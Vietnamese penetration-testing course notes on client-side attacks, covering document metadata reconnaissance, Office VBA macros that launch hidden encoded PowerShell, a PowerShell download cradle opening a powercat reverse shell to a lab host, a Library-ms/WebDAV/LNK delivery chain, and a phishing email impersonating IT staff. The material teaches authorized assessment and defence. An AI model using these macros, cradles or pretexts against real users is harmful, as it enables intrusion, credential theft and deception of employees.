Bản đồ nội dung Chương 11

Vì sao client-side attack quan trọng?

• Client trong mạng nội bộ thường không có dịch vụ trực tiếp lộ ra Internet.
• Phishing và credential attacks là những con đường phổ biến để vượt qua perimeter.
• Client-side attack tận dụng chức năng hoặc điểm yếu trong browser, Office, Windows components và ứng dụng cục bộ.
• Kỹ thuật này đòi hỏi cả kiến thức kỹ thuật, hiểu biết về môi trường doanh nghiệp và khả năng xây dựng pretext hợp lệ.
• Mục tiêu của pentest là kiểm chứng rủi ro và cải thiện phòng thủ, không phải gây áp lực hoặc thao túng người dùng ngoài phạm vi.

Chuỗi client-side attack điển hình

Các cơ chế delivery được đề cập

Kỹ thuật và yếu tố con người

Mục tiêu học tập

• Thu thập thông tin để chuẩn bị client-side attack.
• Xác định người dùng tiềm năng qua website, tài liệu công khai và social media.
• Suy luận hệ điều hành, browser và ứng dụng cài đặt.
• Dùng client fingerprinting để kiểm chứng giả thuyết trước khi chuẩn bị payload.

Nguồn dữ liệu ban đầu

Passive và active reconnaissance

Metadata có thể tiết lộ gì?

• Tên tác giả hoặc người tạo tài liệu.
• Ngày tạo và ngày chỉnh sửa cuối.
• Tên và phiên bản ứng dụng tạo file.
• Hệ điều hành hoặc nền tảng được suy luận từ producer/creator tool.
• Tên template, đường dẫn, printer, company hoặc custom properties.
• Dấu vết có thể dùng để xây dựng profile phần mềm trong tổ chức.

Quy trình khai thác metadata an toàn

Phân tích brochure.pdf bằng ExifTool

kali@kali:~$ cd Downloads 

kali@kali:~/Downloads$ exiftool -a -u brochure.pdf 
ExifTool Version Number         : 12.41
File Name                       : brochure.pdf
Directory                       : .
File Size                       : 303 KiB
File Modification Date/Time     : 2022:04:27 03:27:39-04:00
File Access Date/Time           : 2022:04:28 07:56:58-04:00
File Inode Change Date/Time     : 2022:04:28 07:56:58-04:00
File Permissions                : -rw-------
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 4
Language                        : en-US
Tagged PDF                      : Yes
XMP Toolkit                     : Image::ExifTool 12.41
Creator                         : Stanley Yelnats
Title                           : Mountain Vegetables
Author                          : Stanley Yelnats
Producer                        : Microsoft® PowerPoint® for Microsoft 365
Create Date                     : 2022:04:27 07:34:01+02:00
Creator Tool                    : Microsoft® PowerPoint® for Microsoft 365
Modify Date                     : 2022:04:27 07:34:01+02:00
Document ID                     : uuid:B6ED3771-D165-4BD4-99C9-A15FA9C3A3CF
Instance ID                     : uuid:B6ED3771-D165-4BD4-99C9-A15FA9C3A3CF
Title                           : Mountain Vegetables
Author                          : Stanley Yelnats
Create Date                     : 2022:04:27 07:34:01+02:00
Modify Date                     : 2022:04:27 07:34:01+02:00
Producer                        : Microsoft® PowerPoint® for Microsoft 365
Creator                         : Stanley Yelnats

• Creator/Author: Stanley Yelnats.
• Producer và Creator Tool: Microsoft PowerPoint for Microsoft 365.
• Create/Modify Date giúp đánh giá độ mới của dữ liệu.
• Không có dấu hiệu “for Mac”, vì vậy Windows là giả thuyết hợp lý nhưng vẫn cần xác minh.

Cách đọc kết quả ExifTool

Kết luận đúng và kết luận quá mức

Checklist ghi notes cho tài liệu công khai

Mục tiêu của fingerprinting

• Xác nhận mục tiêu đang chạy Windows hay hệ điều hành khác.
• Xác định browser và kiến trúc có thể hỗ trợ attack vector đã chọn.
• Thu thập IP công khai, vị trí tương đối và tổ chức mạng.
• Phân biệt dữ liệu từ User-Agent với dữ liệu đo trực tiếp bằng JavaScript.
• Tránh chuẩn bị payload không tương thích với client.

Pretext phải gắn với vai trò công việc

Quy trình Canarytoken

User-Agent và JavaScript fingerprinting

Các lựa chọn thay thế

Từ fingerprint đến quyết định attack vector

Checklist fingerprint campaign

Mục tiêu học tập

• Hiểu các biến thể và giới hạn của Microsoft Office client-side attacks.
• Nhận diện tác động của MOTW, Protected View và chính sách block macros.
• Cài đặt và cấu hình Microsoft Office trong lab.
• Tạo macro VBA, tự động gọi procedure khi mở document và kiểm chứng execution.
• Mở rộng từ lệnh đơn giản sang callback trong môi trường đào tạo.

Ba cân nhắc trước khi dùng Office document

Tại sao email attachment khó thành công?

Mark of the Web (MOTW)

• File tải từ Internet hoặc nhận qua một số kênh có thể được gắn Zone.Identifier.
• Office dùng MOTW để quyết định mở file trong Protected View.
• Protected View hạn chế chỉnh sửa, embedded objects và macro execution.
• Trạng thái MOTW phụ thuộc nguồn tải, file system, công cụ đóng gói và cách file được chuyển.
• Không nên giả định MOTW sẽ có hoặc không có; cần tái hiện đúng delivery path trong lab.

Protected View không phải toàn bộ câu chuyện

Decision tree khi document đến client

Tấn công và phòng thủ phát triển song song

Checklist chuẩn bị Office scenario

Kết nối máy OFFICE bằng RDP

• Windows 11 bật Network Level Authentication (NLA) theo mặc định.
• Máy OFFICE không domain-joined nên rdesktop có thể không kết nối được.
• xfreerdp hỗ trợ NLA cho non-domain-joined systems.
• Sau khi kết nối, mount Office2019.img và chạy Setup.exe.
• Ghi lại phiên bản Office và trạng thái trial để kết quả có thể tái hiện.

Lab readiness checklist

VBA macro là gì?

Chọn định dạng document

• .doc có thể lưu macro nhúng trực tiếp.
• .docm là định dạng macro-enabled hiện đại.
• .docx không lưu macro nhúng theo cách tương tự nếu không dùng template/container phù hợp.
• Tên file và delivery path ảnh hưởng warning/MOTW behavior.
• Trong assessment cần dùng nội dung benign, rõ ràng và giới hạn tác động.

Macro trống mặc định

Sub MyMacro()
'
' MyMacro Macro
'
'

End Sub

• Sub MyMacro() mở procedure.
• End Sub kết thúc procedure.
• Các dòng comment không thực thi.

Gọi PowerShell qua WScript.Shell

Sub MyMacro()

  CreateObject("Wscript.Shell").Run "powershell"
  
End Sub

• CreateObject tạo COM object Wscript.Shell.
• Run khởi chạy chương trình trên client.
• Word spawning PowerShell là hành vi dễ bị EDR/ASR phát hiện.

Tự động gọi MyMacro khi mở document

Sub AutoOpen()

  MyMacro
  
End Sub

Sub Document_Open()

  MyMacro
  
End Sub

Sub MyMacro()

  CreateObject("Wscript.Shell").Run "powershell"
  
End Sub

• AutoOpen và Document_Open gọi cùng procedure.
• Hai entry point giúp bao phủ nhiều cách mở document.
• Macro vẫn phụ thuộc user consent và security policy.

Từ proof-of-concept đến callback

Khai báo biến Str

Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    CreateObject("Wscript.Shell").Run Str
End Sub

• Dim Str As String tạo biến chứa command.
• Run nhận nội dung của biến thay vì literal ngắn.
• Biến phải được gán đầy đủ trước khi gọi Run.

PowerShell download cradle

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell

• Tải powercat.ps1 từ web server trong lab.
• Kết nối về Kali trên port 4444.
• IP và port phải thay theo environment được cấp.

Giới hạn 255 ký tự trong VBA literal

• VBA giới hạn độ dài của một literal string.
• String được lưu trong variable có thể dài hơn.
• Giải pháp là chia command thành nhiều chunk và nối vào Str.
• Chunking phải giữ nguyên thứ tự và không thêm ký tự ngoài ý muốn.
• Base64 string không được chứa line break khi đưa vào script chia chuỗi.

Script Python chia chuỗi Base64

str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."

n = 50

for i in range(0, len(str), n):
	print("Str = Str + " + '"' + str[i:i+n] + '"')

• n = 50 xác định kích thước mỗi chunk.
• Loop in ra các dòng Str = Str + "...".
• Kiểm tra lại output trước khi dán vào VBA.

Macro hoàn chỉnh gọi encoded PowerShell

Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    
    Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
        Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
        Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
    ...
        Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
        Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
        Str = Str + "A== "

    CreateObject("Wscript.Shell").Run Str
End Sub

• AutoOpen và Document_Open gọi MyMacro.
• Str được nối từ nhiều literal ngắn.
• WScript.Shell.Run thực thi command cuối cùng.

Chuẩn bị listener và web server

Callback từ Word macro

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.196] 49768
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\offsec\Documents>

• Listener nhận kết nối từ máy OFFICE.
• Shell chạy trong context người dùng đã mở document.
• Không đồng nghĩa với privilege escalation.

Điều gì cần ghi vào báo cáo?

Các biện pháp phòng thủ chính

Checklist xác minh macro finding

Mục tiêu học tập

• Hiểu Windows Library file và vai trò của đuôi .Library-ms.
• Chuẩn bị WebDAV share bằng WsgiDAV.
• Xây XML Library Description trỏ tới remote location.
• Tạo shortcut .lnk chứa PowerShell download cradle.
• Ghép hai stage để nhận callback trong lab.
• Đánh giá điểm kiểm soát ở email, endpoint, WebDAV và user interaction.

Windows Library file là gì?

Chuỗi tấn công hai giai đoạn

Vì sao không chỉ gửi link tải .lnk?

Cài đặt WsgiDAV

kali@kali:~$ pip3 install wsgidav           
Defaulting to user installation because normal site-packages is not writeable
Collecting wsgidav
  Downloading WsgiDAV-4.0.1-py3-none-any.whl (171 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 171.3/171.3 KB 1.6 MB/s eta 0:00:00
...  
Successfully installed json5-0.9.6 wsgidav-4.0.1    

• WsgiDAV tạo WebDAV server bằng Python.
• Kali mới có thể chặn pip vào system environment theo PEP 668.
• Có thể dùng virtual environment hoặc package python3-wsgidav.

PEP 668 và lỗi externally-managed-environment

• Kali/Debian có thể đánh dấu Python system environment là externally managed.
• Không nên ép pip ghi trực tiếp vào system packages.
• Dùng python3 -m venv để tạo virtual environment riêng.
• Hoặc cài python3-wsgidav bằng apt nếu package có sẵn.
• Đường dẫn command có thể là ~/.local/bin/wsgidav hoặc wsgidav tùy cách cài.

Tạo và chạy WebDAV share

kali@kali:~$ mkdir /home/kali/webdav

kali@kali:~$ touch /home/kali/webdav/test.txt

kali@kali:~$ /home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
Running without configuration file.
17:41:53.917 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
17:41:53.919 - INFO    : WsgiDAV/4.0.1 Python/3.9.10 Linux-5.15.0-kali3-amd64-x86_64-with-glibc2.33
17:41:53.919 - INFO    : Lock manager:      LockManager(LockStorageDict)
17:41:53.919 - INFO    : Property manager:  None
17:41:53.919 - INFO    : Domain controller: SimpleDomainController()
17:41:53.919 - INFO    : Registered DAV providers by route:
17:41:53.919 - INFO    :   - '/:dir_browser': FilesystemProvider for path '/home/kali/.local/lib/python3.9/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
17:41:53.919 - INFO    :   - '/': FilesystemProvider for path '/home/kali/webdav' (Read-Write) (anonymous)
17:41:53.920 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
17:41:53.920 - WARNING : Share '/' will allow anonymous write access.
17:41:53.920 - WARNING : Share '/:dir_browser' will allow anonymous read access.
17:41:54.348 - INFO    : Running WsgiDAV/4.0.1 Cheroot/8.5.2+ds1 Python 3.9.10
17:41:54.348 - INFO    : Serving on http://0.0.0.0:80 ..

• Root share: /home/kali/webdav.
• Listen trên 0.0.0.0:80.
• Anonymous authentication bị tắt kiểm soát truy cập.
• Log cảnh báo share cho phép anonymous write.

Anonymous WebDAV trong lab

Khung XML Library Description

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">

</libraryDescription>

• Root element dùng namespace Windows 2009/library.
• File phải là XML hợp lệ và lưu với extension .Library-ms.
• Các element tiếp theo xác định tên, version, icon, template và location.

Tên và version của Library

<name>@windows.storage.dll,-34582</name>
<version>6</version>

• name dùng resource string từ windows.storage.dll.
• version được đặt là 6 trong ví dụ.
• Các trường này giúp Explorer hiển thị container hợp lệ.

Pin và icon reference

<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>

• isLibraryPinned kiểm soát việc library có được pin hay không.
• iconReference chọn icon hệ thống.
• Icon có thể tác động tới mức độ tin cậy của người dùng nhưng không nên dùng để mạo danh ngoài phạm vi.

Template folder type

<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>

• folderType GUID xác định template hiển thị.
• Ví dụ dùng loại Documents.
• Template ảnh hưởng layout Explorer nhưng không tạo code execution.

Remote WebDAV location

<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>

• simpleLocation/url trỏ tới WebDAV server.
• isDefaultSaveLocation và isSupported cấu hình behavior.
• IP phải là địa chỉ Kali có thể truy cập từ client.

Library-ms hoàn chỉnh

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

• Kết hợp metadata, icon, template và remote URL.
• XML phải đóng tag đúng thứ tự.
• Sau khi mở lần đầu, Windows có thể sửa nội dung file; tài liệu hướng dẫn khôi phục bản gốc trước khi delivery.

Chuẩn bị stage hai: shortcut

PowerShell command trong shortcut

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1');
powercat -c 192.168.119.3 -p 4444 -e powershell"

• HTTP server chạy trên port 8000.
• Listener nhận kết nối trên port 4444.
• Command được đặt trong Target của .lnk.
• Trong assessment hiện đại, PowerShell network cradle là tín hiệu phát hiện mạnh.

“Đẩy” command ra khỏi vùng hiển thị

• Target field của shortcut có thể chỉ hiển thị một phần command dài.
• Thêm delimiter và benign-looking text có thể khiến đoạn đáng ngờ nằm ngoài vùng nhìn thấy.
• Kỹ thuật này không che command khỏi forensic tools, EDR hoặc PowerShell logging.
• Không nên đánh giá thành công chỉ dựa trên việc người dùng khó nhìn thấy Target.
• Báo cáo cần mô tả đây là yếu tố social engineering, không phải security boundary bypass.

Kiểm tra shortcut trước khi delivery

Callback thử nghiệm từ shortcut

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.194] 49768
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\System32\WindowsPowerShell\v1.0>

• Chứng minh stage hai hoạt động độc lập.
• Shell xuất phát từ client lab.
• Sau bước này mới ghép shortcut vào WebDAV share.

Ví dụ pretext email trong tài liệu

Hello! My name is Dwight, and I'm a new member of the IT Team. 

This week I am completing some configurations we rolled out last week.
To make this easier, I've attached a file that will automatically
perform each step. Could you download the attachment, open the
directory, and double-click "automatic_configuration"? Once you
confirm the configuration in the window that appears, you're all done!

If you have any questions, or run into any problems, please let me
know!

• Mạo danh thành viên IT mới và yêu cầu chạy automatic_configuration.
• Trong pentest, nội dung phải được khách hàng duyệt và không được tạo hậu quả thật.
• Nên có kill switch, reporting channel và danh sách người nhận rõ ràng.

Đánh giá pretext trong Listing 20

Tại sao serve PowerCat bằng HTTP riêng?

• WebDAV share trong lab được cấu hình writable.
• AV hoặc security tool có thể xóa/quarantine payload nằm trên share.
• Đặt PowerCat trên Python HTTP server giữ stage payload tách khỏi share.
• WebDAV vẫn dùng để delivery Library-ms và LNK.
• Trong assessment cần cân nhắc network controls, TLS và hạ tầng callback được duyệt.

Upload Library file qua SMB share

kali@kali:~$ cd webdav

kali@kali:~/webdav$ cd webdav

kali@kali:~/webdav$ rm test.txt

kali@kali:~/webdav$ smbclient //192.168.50.195/share -c 'put config.Library-ms'
Enter WORKGROUP\kali's password: 
putting file config.Library-ms as \config.Library-ms (1.8 kb/s) (average 1.8 kb/s)

• SMB share mô phỏng bước delivery trong lab.
• Xóa test.txt để remote directory chỉ còn nội dung cần thiết.
• Trong assessment thực tế delivery có thể qua email hoặc kênh được phê duyệt.

Reverse shell từ HR137

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.195] 56839
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\System32\WindowsPowerShell\v1.0> whoami
whoami
hr137\hsmith

• whoami xác nhận context hr137\hsmith.
• Chuỗi Library-ms → WebDAV → LNK → PowerShell đã hoạt động.
• Đây là user-level foothold, chưa phải administrative access.

Chuỗi hoàn chỉnh cần ghi vào evidence

Điểm phát hiện của defender

Biện pháp giảm thiểu

Checklist vận hành Library-ms lab

Ba năng lực chính của Chương 11

Phương pháp làm việc chuẩn

Điều cần phân biệt trong báo cáo

Checklist báo cáo client-side finding

Thông điệp cuối cùng

• Client-side attack thường là con đường hiệu quả để có foothold trong mạng nội bộ không routable.
• Reconnaissance quyết định chất lượng của vector và pretext.
• Office macros và Windows Library files đều phụ thuộc vào user action và môi trường bảo vệ.
• Một assessment tốt phải đo được cả kiểm soát kỹ thuật lẫn quy trình xác minh của người dùng.
• Mục tiêu cuối cùng là giúp tổ chức giảm xác suất delivery, execution và callback — không phải chỉ chứng minh payload chạy.